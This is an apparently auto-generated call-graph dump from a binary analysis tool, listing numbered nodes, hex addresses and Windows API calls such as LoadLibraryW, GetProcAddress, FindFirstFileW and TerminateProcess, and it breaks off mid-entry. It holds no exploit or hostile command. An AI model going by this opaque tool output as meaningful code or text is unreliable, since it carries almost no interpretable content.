48959->48962 48963 4181e9 48959->48963 48964 41822c 48959->48964 48959->48983 48969 449170 34 API calls 48960->48969 48960->48983 48966 449170 34 API calls 48961->48966 48965 449170 34 API calls 48962->48965 48968 449170 34 API calls 48963->48968 48967 449170 34 API calls 48964->48967 48970 4182dc 48965->48970 48971 4182bc 48966->48971 48967->48983 48972 4181f0 48968->48972 48973 41827f VariantInit VariantCopy 48969->48973 48974 4182ed 48970->48974 48975 41830e 48970->48975 48976 4182c8 48971->48976 49047 41817f 34 API calls 48971->49047 48977 416c4c 34 API calls 48972->48977 48972->48983 48978 41829b VariantClear 48973->48978 48973->48983 48979 449170 34 API calls 48974->48979 48980 449170 34 API calls 48975->48980 49048 4174f2 34 API calls 48976->49048 48977->48983 48978->48983 48979->48983 48980->48983 48983->48862 48985 449170 34 API calls 48984->48985 48986 416c5e 48985->48986 48986->48866 48988 42012a 48987->48988 48989 42010d 48987->48989 48991 4323fe 35 API calls 48988->48991 48998 420165 48988->48998 49106 41faee 51 API calls _fast_error_exit 48989->49106 48992 420153 48991->48992 48994 421406 327 API calls 48992->48994 48992->48998 48993 4201d8 48995 420122 48993->48995 48997 42a895 3 API calls 48993->48997 48994->48998 48995->48873 49015 416bba VariantClear 48995->49015 49000 42020e 48997->49000 48998->48993 48999 4201da 48998->48999 49049 42003a 48998->49049 49058 42036e 48998->49058 49080 4320d3 48998->49080 49001 418a14 VariantClear 48999->49001 49100 406ad8 49000->49100 49001->48993 49004 420218 49004->48995 49005 42026c 327 API calls 49004->49005 49006 420227 LockWindowUpdate DestroyWindow 49005->49006 49007 420256 GetMessageW 49006->49007 49007->48995 49009 420242 TranslateMessage DispatchMessageW 49007->49009 49009->49007 49899 416b91 49010->49899 49014 416ac1 49014->48869 49015->48873 49016->48873 49018 418881 49017->49018 49043 4188a0 49017->49043 49019 4183f6 ctype VariantClear 49018->49019 49020 418888 49019->49020 49021 4188c1 49020->49021 49022 4188e3 49020->49022 49023 418992 49020->49023 49024 418927 49020->49024 49025 41896e 49020->49025 49020->49043 49028 449170 34 API calls 49021->49028 49026 449170 34 API calls 49022->49026 49029 449170 34 API calls 49023->49029 49032 449170 34 API calls 49024->49032 49024->49043 49027 449170 34 API calls 49025->49027 49026->49043 49030 418975 49027->49030 49031 4188c8 49028->49031 49033 418999 49029->49033 49034 418981 49030->49034 49911 41817f 34 API calls 49030->49911 49041 416c4c 34 API calls 49031->49041 49031->49043 49035 418937 VariantInit VariantCopy 49032->49035 49036 4189cb 49033->49036 49037 4189aa 49033->49037 49912 4174f2 34 API calls 49034->49912 49042 418953 VariantClear 49035->49042 49035->49043 49039 449170 34 API calls 49036->49039 49038 449170 34 API calls 49037->49038 49038->49043 49039->49043 49041->49043 49042->49043 49043->48878 49045->48882 49046->48884 49047->48976 49048->48983 49050 420056 PeekMessageW 49049->49050 49051 420049 49049->49051 49054 42006e 49050->49054 49055 4200af 49050->49055 49051->49050 49052 420052 49051->49052 49052->48998 49054->49055 49056 420087 TranslateMessage DispatchMessageW 49054->49056 49057 42009b PeekMessageW 49054->49057 49107 4042c8 GetClassNameW IsDialogMessageW 49054->49107 49055->48998 49056->49057 49057->49054 49057->49055 49108 4209de 49058->49108 49060 420415 49060->48998 49062 42038e Sleep 49062->49060 49064 42039f 49064->49060 49117 420acc 332 API calls ctype 49064->49117 49066 4203aa 49066->49060 49067 4203ae 49066->49067 49118 420d89 332 API calls ctype 49067->49118 49069 4203b4 49069->49060 49119 420c75 332 API calls ctype 49069->49119 49071 4203bd 49071->49060 49072 42040a 49071->49072 49073 4203ca GetExitCodeProcess 49071->49073 49120 43857c 110 API calls 49072->49120 49073->49062 49074 4203e5 CloseHandle 49073->49074 49076 418a14 VariantClear 49074->49076 49078 4203fb 49076->49078 49077 420411 49077->49060 49121 43efe7 104 API calls 49077->49121 49078->49060 49081 4320fc 49080->49081 49082 4321d1 49081->49082 49083 432107 49081->49083 49241 433470 49082->49241 49084 432199 49083->49084 49085 43210e 49083->49085 49230 4321ef 49084->49230 49087 43218c 49085->49087 49090 432113 49085->49090 49173 432d09 49087->49173 49088 432197 49092 4183f6 ctype VariantClear 49088->49092 49090->49088 49093 43217c 49090->49093 49096 43211d 49090->49096 49094 4321e8 49092->49094 49123 43244b 49093->49123 49094->48998 49097 432122 49096->49097 49296 433276 49096->49296 49097->49088 49325 41faee 51 API calls _fast_error_exit 49097->49325 49101 406aec 49100->49101 49102 406af2 49101->49102 49104 406b20 49101->49104 49102->49101 49898 40c431 InvalidateRect 49102->49898 49104->49004 49105 406af9 DestroyWindow 49105->49102 49106->48995 49107->49054 49109 4209f6 49108->49109 49115 42037c 49108->49115 49110 4323fe 35 API calls 49109->49110 49109->49115 49111 420a81 49110->49111 49122 416cee 34 API calls 49111->49122 49113 420a9d 49114 421406 332 API calls 49113->49114 49114->49115 49115->49060 49115->49062 49116 42093f 332 API calls 49115->49116 49116->49064 49117->49066 49118->49069 49119->49071 49120->49077 49121->49060 49122->49113 49124 432465 49123->49124 49125 4323fe 35 API calls 49124->49125 49126 43247f 49125->49126 49127 432483 49126->49127 49134 432496 49126->49134 49339 432c28 234 API calls 2 library calls 49127->49339 49129 432491 49129->49097 49131 432864 49133 4183f6 ctype VariantClear 49131->49133 49132 43256f 49326 421630 49132->49326 49135 432bf1 49133->49135 49134->49132 49136 421630 34 API calls 49134->49136 49171 432541 49134->49171 49138 4183f6 ctype VariantClear 49135->49138 49136->49134 49139 432bf9 49138->49139 49140 4183f6 ctype VariantClear 49139->49140 49143 432c01 49140->49143 49141 4327e5 49142 416a9f 35 API calls 49141->49142 49141->49171 49172 4328b7 49142->49172 49399 417c63 VariantClear ctype 49143->49399 49144 432aeb 49334 421713 49144->49334 49149 418a14 VariantClear 49151 432b1e 49149->49151 49152 421406 332 API calls 49151->49152 49154 432b44 49152->49154 49153 416bfe 34 API calls 49153->49172 49155 432b56 49154->49155 49157 418874 38 API calls 49154->49157 49159 418a14 VariantClear 49155->49159 49156 416990 39 API calls 49156->49172 49157->49155 49158 416bfe 34 API calls 49163 432587 49158->49163 49161 432b81 49159->49161 49397 421751 VariantClear 49161->49397 49162 421630 34 API calls 49162->49172 49163->49131 49163->49141 49163->49158 49163->49171 49340 4169e0 CharUpperBuffW 49163->49340 49342 436aed 221 API calls ctype 49163->49342 49343 4190e4 VariantClear ctype 49163->49343 49344 4376b3 49163->49344 49387 417c83 49163->49387 49166 432bd1 49398 416bba VariantClear 49166->49398 49167 4376b3 221 API calls 49167->49172 49395 41faee 51 API calls _fast_error_exit 49171->49395 49172->49144 49172->49153 49172->49156 49172->49162 49172->49167 49172->49171 49396 416a56 35 API calls 49172->49396 49181 432d36 49173->49181 49174 432df6 49178 416bfe 34 API calls 49174->49178 49176 4376b3 221 API calls 49184 432dc2 49176->49184 49177 432df1 49179 4183f6 ctype VariantClear 49177->49179 49180 432e0c 49178->49180 49182 4330d7 49179->49182 49183 416c4c 34 API calls 49180->49183 49181->49174 49181->49176 49185 432da5 49181->49185 49182->49088 49186 432e1f 49183->49186 49184->49174 49184->49177 49184->49185 49428 41faee 51 API calls _fast_error_exit 49185->49428 49187 4169e0 CharUpperBuffW 49186->49187 49188 432e2c 49187->49188 49189 432e39 49188->49189 49191 432f0c 49188->49191 49192 432e60 49189->49192 49229 432ef3 49189->49229 49190 432f5e 49190->49177 49193 432f75 49190->49193 49198 432fa6 49190->49198 49191->49190 49191->49229 49434 418357 37 API calls 49191->49434 49194 416c4c 34 API calls 49192->49194 49436 4309c0 95 API calls ctype 49193->49436 49199 432e7b 49194->49199 49202 432fcc 49198->49202 49228 432ff8 49198->49228 49429 416990 CharUpperBuffW 49199->49429 49200 432eb1 49207 4330bb 49200->49207 49208 432ebf 49200->49208 49201 432f4e 49435 436aed 221 API calls ctype 49201->49435 49206 433276 221 API calls 49202->49206 49205 432e8a 49212 416c4c 34 API calls 49205->49212 49206->49229 49211 418874 38 API calls 49207->49211 49209 432ec8 49208->49209 49210 4330af 49208->49210 49213 4330a3 49209->49213 49214 432ecf 49209->49214 49441 4190fd 62 API calls ctype 49210->49441 49211->49177 49216 432e9c 49212->49216 49440 41924b 60 API calls ctype 49213->49440 49217 433096 49214->49217 49218 432ed6 49214->49218 49219 4169e0 CharUpperBuffW 49216->49219 49439 4193d3 60 API calls ctype 49217->49439 49221 43308a 49218->49221 49222 432edd 49218->49222 49224 432ea9 49219->49224 49438 419319 60 API calls ctype 49221->49438 49222->49177 49433 419bfa 51 API calls 49222->49433 49226 4183f6 ctype VariantClear 49224->49226 49226->49200 49228->49200 49228->49229 49229->49177 49437 41faee 51 API calls _fast_error_exit 49229->49437 49231 4321ff 49230->49231 49443 432285 221 API calls ctype 49231->49443 49233 432233 49234 432266 49233->49234 49235 432250 49233->49235 49237 43225e 49233->49237 49455 41faee 51 API calls _fast_error_exit 49234->49455 49444 420425 49235->49444 49456 417c63 VariantClear ctype 49237->49456 49242 433488 49241->49242 49243 433653 49242->49243 49244 433501 49242->49244 49245 433647 49242->49245 49246 433546 49242->49246 49247 433586 49242->49247 49248 4335c6 49242->49248 49249 4334cc 49242->49249 49250 433513 49242->49250 49251 433557 49242->49251 49252 433597 49242->49252 49253 43349d 49242->49253 49254 4334dd 49242->49254 49255 4335d5 49242->49255 49256 4335a6 49242->49256 49257 433524 49242->49257 49258 433568 49242->49258 49259 4334af 49242->49259 49260 4334ef 49242->49260 49261 4335ed 49242->49261 49262 433577 49242->49262 49263 4335b7 49242->49263 49264 433536 49242->49264 49265 4335f9 49242->49265 49266 4334bd 49242->49266 49267 43363c 49242->49267 49275 4334aa 49242->49275 49292 43360b 49242->49292 49817 41faee 51 API calls _fast_error_exit 49243->49817 49800 433d51 221 API calls ctype 49244->49800 49816 434e42 52 API calls 49245->49816 49804 434533 132 API calls ctype 49246->49804 49808 43498c 221 API calls ctype 49247->49808 49812 4354f2 222 API calls ctype 49248->49812 49797 433adf 221 API calls ctype 49249->49797 49801 433e53 55 API calls ctype 49250->49801 49805 4346d6 221 API calls ctype 49251->49805 49809 43494a 52 API calls 49252->49809 49741 433700 49253->49741 49798 433c00 52 API calls 49254->49798 49764 434e89 49255->49764 49810 434c69 55 API calls ctype 49256->49810 49802 433f4d 221 API calls 49257->49802 49806 4348cf 38 API calls ctype 49258->49806 49795 433a8f 38 API calls ctype 49259->49795 49799 433c52 221 API calls ctype 49260->49799 49813 435a47 221 API calls ctype 49261->49813 49807 43494a 52 API calls 49262->49807 49811 4360be 222 API calls ctype 49263->49811 49803 433fc1 226 API calls ctype 49264->49803 49814 4359d0 221 API calls 49265->49814 49796 43494a 52 API calls 49266->49796 49815 434da0 221 API calls 49267->49815 49275->49088 49295 4323fe 35 API calls 49292->49295 49295->49275 49297 433289 49296->49297 49298 418874 38 API calls 49297->49298 49322 4332bb 49298->49322 49301 4333dc 49303 4183f6 ctype VariantClear 49301->49303 49302 433408 49305 4376b3 221 API calls 49302->49305 49306 4333e7 49303->49306 49311 433418 49305->49311 49307 4183f6 ctype VariantClear 49306->49307 49308 4333ef 49307->49308 49310 4183f6 ctype VariantClear 49308->49310 49309 418a14 VariantClear 49309->49322 49312 4333f7 49310->49312 49311->49301 49313 433445 49311->49313 49314 43342d 49311->49314 49863 417c63 VariantClear ctype 49312->49863 49315 417c83 38 API calls 49313->49315 49864 41faee 51 API calls _fast_error_exit 49314->49864 49317 433451 49315->49317 49854 431dce 49317->49854 49319 418874 38 API calls 49319->49322 49322->49301 49322->49302 49322->49309 49322->49319 49323 4333cd 49322->49323 49848 431e29 49322->49848 49860 417d32 VariantClear ctype 49322->49860 49861 431e5b 221 API calls ctype 49322->49861 49862 41fcd4 51 API calls _fast_error_exit 49323->49862 49325->49088 49327 42163c 49326->49327 49331 42165e 49326->49331 49330 449170 34 API calls 49327->49330 49328 449170 34 API calls 49329 42168a 49328->49329 49400 417e35 49329->49400 49330->49331 49331->49328 49333 4216b6 49333->49163 49335 449170 34 API calls 49334->49335 49336 42171b 49335->49336 49404 421847 49336->49404 49339->49129 49341 4169fb 49340->49341 49341->49163 49342->49163 49343->49163 49409 43633e 49344->49409 49346 4321ef 221 API calls 49372 437702 49346->49372 49348 43633e 34 API calls 49348->49372 49349 437eff 94 API calls 49349->49372 49350 43789d 49427 4384ea VariantClear ctype 49350->49427 49351 437deb 49352 437e23 49351->49352 49353 437cb3 49351->49353 49359 418874 38 API calls 49352->49359 49424 41faee 51 API calls _fast_error_exit 49353->49424 49354 437d29 49358 4181c7 37 API calls 49354->49358 49355 437c86 49416 41faee 51 API calls _fast_error_exit 49355->49416 49356 43850c 38 API calls 49356->49372 49375 437d34 49358->49375 49363 437e01 49359->49363 49425 4384ea VariantClear ctype 49363->49425 49364 437e32 49426 41faee 51 API calls _fast_error_exit 49364->49426 49372->49346 49372->49348 49372->49349 49372->49350 49372->49351 49372->49353 49372->49354 49372->49355 49372->49356 49372->49364 49412 43671d 221 API calls ctype 49372->49412 49413 4174a6 34 API calls 49372->49413 49414 4190b2 35 API calls ctype 49372->49414 49415 419099 VariantClear ctype 49372->49415 49373 437e49 49378 4183f6 ctype VariantClear 49373->49378 49375->49364 49377 437d98 49375->49377 49379 437d6a 49375->49379 49380 4183f6 ctype VariantClear 49377->49380 49378->49350 49417 438541 VariantClear ctype 49379->49417 49382 437da8 49380->49382 49382->49163 49383 437d75 49418 419099 VariantClear ctype 49383->49418 49385 437d89 49419 43850c 49385->49419 49388 417c8e 49387->49388 49394 417cb1 49387->49394 49391 449170 34 API calls 49388->49391 49389 449170 34 API calls 49390 417cde 49389->49390 49392 418874 38 API calls 49390->49392 49391->49394 49393 417d12 49392->49393 49393->49163 49394->49389 49395->49131 49396->49172 49397->49166 49398->49131 49401 417e3d 49400->49401 49403 417e89 49400->49403 49402 449170 34 API calls 49401->49402 49401->49403 49402->49403 49403->49333 49405 418874 38 API calls 49404->49405 49406 42186d 49405->49406 49407 418874 38 API calls 49406->49407 49408 421742 49407->49408 49408->49149 49410 449170 34 API calls 49409->49410 49411 436345 49410->49411 49411->49372 49412->49372 49413->49372 49414->49372 49415->49372 49416->49350 49417->49383 49418->49385 49420 449170 34 API calls 49419->49420 49421 438514 49420->49421 49422 418874 38 API calls 49421->49422 49423 438532 49422->49423 49423->49377 49424->49363 49426->49373 49428->49177 49431 4169a8 49429->49431 49430 4169d1 49430->49205 49431->49430 49442 418048 38 API calls 49431->49442 49433->49177 49434->49201 49435->49190 49436->49229 49437->49177 49438->49177 49439->49177 49440->49177 49441->49177 49442->49430 49443->49233 49445 418a14 VariantClear 49444->49445 49446 420432 49445->49446 49447 42047f 49446->49447 49448 420462 49446->49448 49457 439814 49447->49457 49550 414e55 GetFileAttributesW 49447->49550 49552 4253c3 49447->49552 49579 4222a2 49447->49579 49618 418ad9 49448->49618 49449 42047b 49449->49237 49455->49237 49458 439ac7 49457->49458 49625 4184c9 49458->49625 49461 416c4c 34 API calls 49462 439ae1 49461->49462 49463 4184c9 50 API calls 49462->49463 49464 439af7 49463->49464 49465 416c4c 34 API calls 49464->49465 49466 439b01 49465->49466 49629 416bde 49466->49629 49469 439b21 49643 41faee 51 API calls _fast_error_exit 49469->49643 49470 439b35 CharLowerBuffW 49632 417171 49470->49632 49474 439d5d 49478 439da5 49474->49478 49479 439d89 49474->49479 49475 416bde 34 API calls 49477 439b74 49475->49477 49644 416f90 34 API calls 49477->49644 49648 41858e 49478->49648 49639 4184a9 49479->49639 49481 416bfe 34 API calls 49500 439bb9 49481->49500 49482 4184c9 50 API calls 49482->49500 49483 439b89 49487 416bfe 34 API calls 49483->49487 49496 439ba0 49487->49496 49489 439dd9 49490 439e0a 49489->49490 49497 41858e 54 API calls 49489->49497 49494 418a14 VariantClear 49490->49494 49491 439e1c 49498 439e35 49491->49498 49499 439e59 49491->49499 49492 439db8 49492->49489 49495 41858e 54 API calls 49492->49495 49514 439b2d 49494->49514 49495->49489 49496->49500 49506 416bfe 34 API calls 49496->49506 49501 439df1 49497->49501 49653 4168a2 49498->49653 49507 41858e 54 API calls 49499->49507 49500->49474 49500->49481 49500->49482 49505 439d6b 49500->49505 49645 416f37 34 API calls 49500->49645 49646 416cee 34 API calls 49500->49646 49647 44943d 62 API calls 2 library calls 49500->49647 49501->49490 49501->49491 49508 418a14 VariantClear 49505->49508 49510 439bcf 49506->49510 49509 439e6e GetProcAddress 49507->49509 49508->49514 49513 439e7b 49509->49513 49512 416bfe 34 API calls 49510->49512 49519 439bed 49510->49519 49511 439eeb _strcat 49521 43a0c5 49511->49521 49526 43a184 49511->49526 49527 449170 34 API calls 49511->49527 49539 41858e 54 API calls 49511->49539 49543 4184a9 50 API calls 49511->49543 49549 4168a2 36 API calls 49511->49549 49512->49519 49513->49511 49516 439e56 49513->49516 49517 439ec8 49513->49517 49514->49449 49515 416bfe 34 API calls 49540 43a0fe 49515->49540 49516->49513 49660 416d7e 34 API calls 49516->49660 49534 418a14 VariantClear 49517->49534 49519->49500 49520 439c97 49519->49520 49529 418a14 VariantClear 49520->49529 49521->49515 49523 439ea1 49533 4168a2 36 API calls 49523->49533 49526->49514 49528 418a14 VariantClear 49526->49528 49536 418ad9 35 API calls 49526->49536 49663 415adc 35 API calls 49526->49663 49664 418aa7 VariantClear ctype 49526->49664 49665 41684e 36 API calls _strlen 49526->49665 49666 418a87 VariantClear ctype 49526->49666 49667 418b39 58 API calls ctype 49526->49667 49668 418b39 58 API calls ctype 49526->49668 49527->49511 49528->49526 49529->49514 49531 43a261 VariantClear 49531->49526 49535 439eac GetProcAddress 49533->49535 49534->49514 49537 439ec2 49535->49537 49536->49526 49537->49511 49537->49517 49539->49511 49540->49540 49541 43a16a 49540->49541 49542 43a14f 49540->49542 49662 415ac3 35 API calls 49541->49662 49661 41faee 51 API calls _fast_error_exit 49542->49661 49543->49511 49546 43a15b GetCurrentProcess TerminateProcess 49546->49541 49549->49511 49551 414e64 49550->49551 49551->49449 49553 4253e5 49552->49553 49554 4184a9 50 API calls 49553->49554 49555 4253f5 49554->49555 49556 41858e 54 API calls 49555->49556 49559 425417 49555->49559 49556->49559 49557 4184a9 50 API calls 49558 4254fb 49557->49558 49674 414e6e 49558->49674 49559->49557 49564 4254e5 49559->49564 49561 425524 49562 42556e GetCurrentDirectoryW SetCurrentDirectoryW 49561->49562 49563 425592 49562->49563 49562->49564 49565 414e55 GetFileAttributesW 49563->49565 49566 418a14 VariantClear 49564->49566 49567 42559e 49565->49567 49568 4255de 49566->49568 49569 425602 49567->49569 49570 4255a3 GetFileAttributesW SetFileAttributesW 49567->49570 49568->49449 49678 425639 FindFirstFileW 49569->49678 49572 4255e0 49570->49572 49573 4255cc SetCurrentDirectoryW 49570->49573 49574 4255e6 SetCurrentDirectoryW 49572->49574 49575 425627 SetCurrentDirectoryW 49572->49575 49573->49564 49577 425600 49574->49577 49575->49568 49577->49569 49578 418a14 VariantClear 49578->49575 49580 4222b9 49579->49580 49581 41858e 54 API calls 49580->49581 49582 4222c9 49581->49582 49584 416bde 34 API calls 49582->49584 49617 42237d 49582->49617 49583 449170 34 API calls 49585 4223a4 49583->49585 49586 4222e4 49584->49586 49590 4223ae 49585->49590 49719 413c2d 47 API calls 49585->49719 49588 449170 34 API calls 49586->49588 49589 4222ef 49588->49589 49591 449170 34 API calls 49589->49591 49592 4184a9 50 API calls 49590->49592 49593 4222f7 49591->49593 49594 4223cc 49592->49594 49596 4184a9 50 API calls 49593->49596 49696 413c3d 49594->49696 49597 422318 49596->49597 49715 416ee1 34 API calls 49597->49715 49598 418a14 VariantClear 49615 422385 49598->49615 49599 449170 34 API calls 49601 42240f 49599->49601 49609 4223dc 49601->49609 49720 403d50 34 API calls 49601->49720 49602 4223d8 49602->49599 49602->49609 49603 42232d 49716 416ee1 34 API calls 49603->49716 49606 42233b 49610 422365 49606->49610 49717 414e01 GetFileAttributesW FindFirstFileW FindClose 49606->49717 49608 422349 49608->49610 49611 42234e 49608->49611 49609->49598 49613 41858e 54 API calls 49610->49613 49718 41553b 38 API calls _wcsrchr 49611->49718 49613->49617 49614 422356 49614->49610 49616 418a14 VariantClear 49614->49616 49615->49449 49616->49610 49617->49583 49617->49615 49619 4183f6 ctype VariantClear 49618->49619 49620 418ae0 49619->49620 49621 449170 34 API calls 49620->49621 49622 418aee 49621->49622 49623 418aff 49622->49623 49624 416bfe 34 API calls 49622->49624 49623->49449 49624->49623 49626 4184dc 49625->49626 49627 4184cf 49625->49627 49626->49461 49627->49626 49669 41873b 50 API calls ctype 49627->49669 49630 449170 34 API calls 49629->49630 49631 416bf3 49630->49631 49631->49469 49631->49470 49633 41717e 49632->49633 49634 4171c4 49633->49634 49636 4171b5 49633->49636 49637 417216 49633->49637 49634->49475 49634->49500 49636->49634 49670 4173ee 63 API calls 49636->49670 49637->49634 49671 4173ee 63 API calls 49637->49671 49640 4184b1 49639->49640 49641 4184c3 LoadLibraryW 49640->49641 49672 41873b 50 API calls ctype 49640->49672 49641->49501 49643->49514 49644->49483 49645->49500 49646->49500 49647->49500 49649 41859a 49648->49649 49650 4185c3 49648->49650 49649->49650 49673 449291 54 API calls 49649->49673 49650->49492 49652 4185dd 49652->49492 49654 4168bb WideCharToMultiByte 49653->49654 49655 4168ae 49653->49655 49656 4168d6 GetProcAddress 49654->49656 49657 4168da 49654->49657 49655->49654 49656->49516 49658 449170 34 API calls 49657->49658 49659 4168e0 WideCharToMultiByte 49658->49659 49659->49656 49660->49523 49661->49546 49663->49526 49664->49526 49665->49526 49666->49526 49667->49526 49668->49531 49669->49626 49670->49636 49671->49637 49672->49641 49673->49652 49692 416034 49674->49692 49676 414e7d GetFullPathNameW 49677 414e94 49676->49677 49677->49561 49679 42566a 49678->49679 49682 42561a 49678->49682 49680 4256c8 FindNextFileW 49679->49680 49684 42569f GetFileAttributesW SetFileAttributesW 49679->49684 49680->49679 49681 4256da FindClose 49680->49681 49681->49682 49683 4256f1 FindFirstFileW 49681->49683 49682->49575 49682->49578 49685 425707 49683->49685 49686 42577d 49683->49686 49684->49680 49687 4256ea 49684->49687 49685->49687 49689 425769 FindNextFileW 49685->49689 49690 425745 SetCurrentDirectoryW 49685->49690 49691 425766 SetCurrentDirectoryW 49685->49691 49688 42577f FindClose 49686->49688 49687->49688 49688->49682 49689->49685 49689->49686 49690->49685 49691->49689 49693 41603e 49692->49693 49694 449170 34 API calls 49693->49694 49695 416048 49694->49695 49695->49676 49721 413e1f 49696->49721 49699 413c6e 49701 413c76 49699->49701 49702 413c81 49699->49702 49703 413ca5 49699->49703 49705 44a5a9 63 API calls 49701->49705 49728 44a5a9 49702->49728 49703->49701 49704 413cba 49703->49704 49707 413ce5 49704->49707 49708 413cbe CreateFileW 49704->49708 49711 413ca0 49705->49711 49707->49602 49708->49711 49711->49707 49739 413d58 45 API calls 49711->49739 49713 413ce0 49740 413d9d 45 API calls 49713->49740 49715->49603 49716->49606 49717->49608 49718->49614 49719->49590 49720->49609 49722 413e29 49721->49722 49726 413c4c 49721->49726 49723 413e37 49722->49723 49724 413e2f CloseHandle 49722->49724 49725 44a855 46 API calls 49723->49725 49724->49726 49725->49726 49726->49699 49727 413e51 64 API calls 49726->49727 49727->49699 49729 44a54d 63 API calls 49728->49729 49730 413c8e 49729->49730 49730->49711 49731 44a64b 49730->49731 49732 44a657 ___free_lc_time 49731->49732 49733 44b8fc 35 API calls 49732->49733 49734 44a65f 49733->49734 49735 44a5bc 43 API calls 49734->49735 49736 44a672 49735->49736 49737 44a68a RtlLeaveCriticalSection RtlLeaveCriticalSection 49736->49737 49738 44a681 ___free_lc_time 49737->49738 49738->49711 49739->49713 49740->49707 49818 437668 49741->49818 49743 43371d 49744 433a6f 49743->49744 49746 43374c 49743->49746 49759 4337c7 49743->49759 49824 41faee 51 API calls _fast_error_exit 49744->49824 49751 43375e 49746->49751 49762 4337d4 49746->49762 49747 433822 49748 421713 38 API calls 49747->49748 49750 433839 49748->49750 49749 4337a8 49754 421630 34 API calls 49749->49754 49752 4183f6 ctype VariantClear 49750->49752 49751->49749 49755 421630 34 API calls 49751->49755 49751->49759 49753 433841 49752->49753 49756 4183f6 ctype VariantClear 49753->49756 49757 4337b8 49754->49757 49755->49751 49756->49759 49758 4320d3 332 API calls 49757->49758 49758->49759 49759->49275 49761 437668 221 API calls 49761->49762 49762->49747 49762->49750 49762->49761 49763 433a08 49762->49763 49823 41faee 51 API calls _fast_error_exit 49763->49823 49767 434ed8 49764->49767 49765 434f1b 49766 416bde 34 API calls 49765->49766 49785 434f23 49766->49785 49767->49765 49768 434f07 49767->49768 49769 434eee 49767->49769 49826 4354f2 222 API calls ctype 49768->49826 49769->49765 49770 434ef3 49769->49770 49825 4360be 222 API calls ctype 49770->49825 49773 435412 49845 41faee 51 API calls _fast_error_exit 49773->49845 49774 4183f6 ctype VariantClear 49775 435437 49774->49775 49776 4183f6 ctype VariantClear 49775->49776 49778 43543f 49776->49778 49777 416d00 34 API calls 49777->49785 49778->49275 49780 434f02 49780->49774 49781 4169e0 CharUpperBuffW 49781->49785 49782 416c4c 34 API calls 49782->49785 49783 416990 39 API calls 49783->49785 49785->49773 49785->49777 49785->49780 49785->49781 49785->49782 49785->49783 49786 418ad9 35 API calls 49785->49786 49787 418874 38 API calls 49785->49787 49788 4376b3 221 API calls 49785->49788 49789 41858e 54 API calls 49785->49789 49791 416bfe 34 API calls 49785->49791 49827 416b20 CharUpperBuffW 49785->49827 49828 419c9c 49785->49828 49834 419d56 49785->49834 49843 419f19 38 API calls 49785->49843 49844 4330de 221 API calls ctype 49785->49844 49786->49785 49787->49785 49788->49785 49789->49785 49791->49785 49795->49275 49796->49275 49797->49275 49798->49275 49799->49275 49800->49275 49801->49275 49802->49275 49803->49275 49804->49275 49805->49275 49806->49275 49807->49275 49808->49275 49809->49275 49810->49275 49811->49275 49812->49275 49813->49275 49814->49275 49815->49275 49816->49275 49817->49275 49819 4376b3 221 API calls 49818->49819 49820 43768c 49819->49820 49821 4183f6 ctype VariantClear 49820->49821 49822 4376ac 49821->49822 49822->49743 49823->49750 49824->49759 49825->49780 49826->49780 49827->49785 49829 419cb1 49828->49829 49830 419ca5 49828->49830 49829->49785 49831 4183f6 ctype VariantClear 49830->49831 49832 419cac 49831->49832 49846 419c48 34 API calls 49832->49846 49835 419d63 ctype 49834->49835 49836 419d5f 49834->49836 49847 419ce1 VariantClear ctype 49835->49847 49836->49785 49838 419d71 49839 449170 34 API calls 49838->49839 49840 419ddf 49838->49840 49841 419dd4 49839->49841 49840->49785 49842 449170 34 API calls 49841->49842 49842->49840 49843->49785 49844->49785 49845->49780 49846->49829 49847->49838 49849 431e30 49848->49849 49850 431e52 49848->49850 49851 418ad9 35 API calls 49849->49851 49850->49322 49852 431e3a 49851->49852 49865 431b0a 49852->49865 49855 431de8 49854->49855 49856 431b0a 110 API calls 49855->49856 49857 431e18 49856->49857 49858 4183f6 ctype VariantClear 49857->49858 49859 431e22 49858->49859 49859->49301 49860->49322 49861->49322 49862->49301 49864->49301 49868 431b42 49865->49868 49874 431b5f 49865->49874 49867 431bd2 49870 449170 34 API calls 49867->49870 49868->49867 49869 416034 34 API calls 49868->49869 49868->49874 49871 431b99 49869->49871 49876 431be3 49870->49876 49871->49867 49871->49874 49872 431c1c 49873 431c5d VariantInit 49872->49873 49883 431d76 49872->49883 49877 431c74 __lock 49873->49877 49897 4309c0 95 API calls ctype 49874->49897 49876->49872 49878 431c1e 49876->49878 49892 4301fc 89 API calls ctype 49876->49892 49879 431ce0 49877->49879 49880 431d06 49877->49880 49893 4309c0 95 API calls ctype 49878->49893 49894 4309c0 95 API calls ctype 49879->49894 49895 418b39 58 API calls ctype 49880->49895 49887 431d89 VariantClear 49883->49887 49888 431d8e VariantClear 49883->49888 49889 431d97 49883->49889 49885 431d69 VariantClear 49885->49883 49886 431cf8 49886->49885 49887->49888 49888->49883 49888->49889 49889->49850 49891 431d12 49891->49885 49896 418b39 58 API calls ctype 49891->49896 49892->49876 49893->49872 49894->49886 49895->49891 49896->49891 49897->49889 49898->49105 49900 449170 34 API calls 49899->49900 49901 416ab6 49900->49901 49902 417f9f 49901->49902 49903 417fab 49902->49903 49908 417fdc 49902->49908 49904 417fb8 49903->49904 49905 417f9f VariantClear 49903->49905 49906 417fc7 49904->49906 49907 417f9f VariantClear 49904->49907 49905->49904 49906->49908 49910 43855b VariantClear ctype 49906->49910 49907->49906 49908->49014 49910->49908 49911->49034 49912->49043 49913 4310a2 49914 4310b5 49913->49914 49920 4310eb 49913->49920 49915 431111 49914->49915 49916 4310b8 49914->49916 49919 4184a9 50 API calls 49915->49919 49917 4310f0 49916->49917 49921 4310bb 49916->49921 49924 4184a9 50 API calls 49917->49924 49918 4184a9 50 API calls 49923 431140 49918->49923 49919->49920 49920->49918 49922 431149 49921->49922 49925 4184a9 50 API calls 49921->49925 49933 430dcb 49923->49933 49927 431105 49924->49927 49928 4310db 49925->49928 49929 4184a9 50 API calls 49927->49929 49930 4184a9 50 API calls 49928->49930 49929->49920 49931 4310e3 49930->49931 49932 4184a9 50 API calls 49931->49932 49932->49920 49934 416bde 34 API calls 49933->49934 49935 430de6 49934->49935 49936 416bde 34 API calls 49935->49936 49937 430dee 49936->49937 49938 416bde 34 API calls 49937->49938 49939 430df6 49938->49939 49940 418a14 VariantClear 49939->49940 49941 430e0c 49940->49941 49942 430e22 49941->49942 49943 430e14 OleInitialize 49941->49943 49944 416034 34 API calls 49942->49944 49943->49942 49945 430e2a CLSIDFromProgID 49944->49945 49946 430e40 49945->49946 49947 430e45 49946->49947 49948 430e61 CoCreateInstance 49946->49948 49949 430ed7 49946->49949 49977 4309c0 95 API calls ctype 49947->49977 49948->49947 49951 430e7d 49948->49951 49979 430763 41 API calls __lock 49949->49979 49951->49947 49956 430e9b 49951->49956 49953 